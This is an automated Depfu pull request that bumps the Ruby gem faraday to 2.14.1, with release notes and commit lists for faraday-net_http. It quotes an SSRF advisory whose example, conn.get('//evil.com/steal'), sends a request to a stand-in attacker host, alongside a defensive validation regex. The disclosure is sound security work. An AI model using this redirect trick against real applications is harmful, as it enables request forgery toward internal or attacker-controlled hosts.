🚨 [security] Update faraday 2.7.10 → 2.14.1 (minor)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ faraday (indirect, 2.7.10 → 2.14.1) · Repo · Changelog

Security Advisories 🚨

🚨 Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ faraday-net_http (indirect, 3.0.2 → 3.4.2) · Repo · Changelog

Release Notes

3.4.2

What's Changed

• Use more conservative net-http version constraint by @RDeckard in #53

New Contributors

• @RDeckard made their first contribution in #53

Full Changelog: v3.4.1...v3.4.2

3.4.1

What's Changed

• Prepare Trusted Publisher by @djsmentya in #50

New Contributors

• @djsmentya made their first contribution in #50

Full Changelog: v3.4.0...v3.4.1

3.4.0

What's Changed

• Add HTTPS Proxy support by @richardmarbach in #47
• Fix HTTPS proxy support by @richardmarbach in #48

New Contributors

• @richardmarbach made their first contribution in #47

Full Changelog: v3.3.0...v3.4.0

3.3.0

What's Changed

• Opt-in for MFA requirement explicitly by @tagliala in #43
• Run CI against main branch of Faraday by @iMacTia in #46
• Add support for ciphers SSLOptions by @womblep in #45

New Contributors

• @tagliala made their first contribution in #43
• @womblep made their first contribution in #45

Full Changelog: v3.2.0...v3.3.0

3.2.0

What's Changed

• Added: Support setting SSL client cert as a an array, to configure extra_chain_cert by @larkro and @kaspth in #42
• Developer experience: Unlock simplecov by @olleolleolle in #40

Full Changelog: v3.1.1...v3.2.0

3.1.1

What's Changed

• net_http adapter: Fix to avoid calling configure_ssl for HTTP connections by @ma2gedev in #38

Full Changelog: v3.1.0...v3.1.1

3.1.0

What's Changed

• Adds Ruby 3.2 to CI by @petergoldstein in #30
• Add net-http dependency to gemspec. by @simi in #31
• CI: Use Ruby 3.3 for linting by @olleolleolle in #35
• CI: Tell dependabot to update GH Actions by @olleolleolle in #34
• Bump actions/checkout from 3 to 4 by @dependabot in #36

New Contributors

• @simi made their first contribution in #31
• @dependabot made their first contribution in #36

Full Changelog: v3.0.2...v3.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 38 commits:

• Update ci.yml to allow manual runs
• Version bump to 3.4.2
• Use more conservative net-http version constraint (#53)
• Bump actions/checkout from 4 to 5 (#51)
• CI: Fix grammar error in Publish workflow
• CI: Ensure Rake is available in publish action
• v3.4.1
• CI: Add Ruby 3.4 to build matrix
• Use Ruby 3.4.4
• Prepare Trusted Publisher (#50)
• v3.4.0
• Fix HTTPS proxy support (#48)
• Add HTTPS Proxy support (#47)
• Version bump to 3.3.0
• Accept SSLOptions->ciphers to be passed to the Net::HTTP instance (#45)
• Run CI against `main` branch of Faraday. (#46)
• Opt-in for MFA requirement explicitly (#43)
• v3.2.0
• Support setting SSL client cert as a an array, to configure extra_chain_cert (#42)
• Use latest Ruby
• Unlock simplecov in Gemfile
• v3.1.1
• Lint: Style/IfUnlessModifier
• Fix conditions for calling `configure_ssl`
• CI: Use .ruby-version Ruby in publish.yml
• v3.1.0
• Merge pull request #36 from lostisland/dependabot/github_actions/actions/checkout-4
• Bump actions/checkout from 3 to 4
• CI: Tell dependabot to update GH Actions
• RuboCop: lint to 3.0
• gemspec: require Ruby 3.0.0+
• CI: Drop 2.6, 2.7 - add 3.3
• Lint
• Use newer RuboCop to avoid bugs
• CI: Use a .ruby-version to track latest Ruby
• CI: Use Ruby 3.3 for linting
• Add net-http dependency to gemspec. (#31)
• Adds Ruby 3.2 to CI. Updates checkout action version. Fixes unsupported use of actions/ruby-setup

🆕 logger (added, 1.7.0)

🆕 net-http (added, 0.9.1)

🆕 uri (added, 1.1.1)

🗑️ ruby2_keywords (removed)

---

👉 No CI detected

You don't seem to have any Continuous Integration service set up!

Without a service that will test the Depfu branches and pull requests, we can't inform you if incoming updates actually work with your app. We think that this degrades the service we're trying to provide down to a point where it is more or less meaningless.

This is fine if you just want to give Depfu a quick try. If you want to really let Depfu help you keep your app up-to-date, we recommend setting up a CI system:

* [Circle CI](https://circleci.com), [Semaphore ](https://semaphoreci.com) and [Github Actions](https://docs.github.com/actions) are all excellent options. * If you use something like Jenkins, make sure that you're using the Github integration correctly so that it reports status data back to Github. * If you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don’t want it to run on every branch, you can whitelist branches starting with `depfu/`.

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)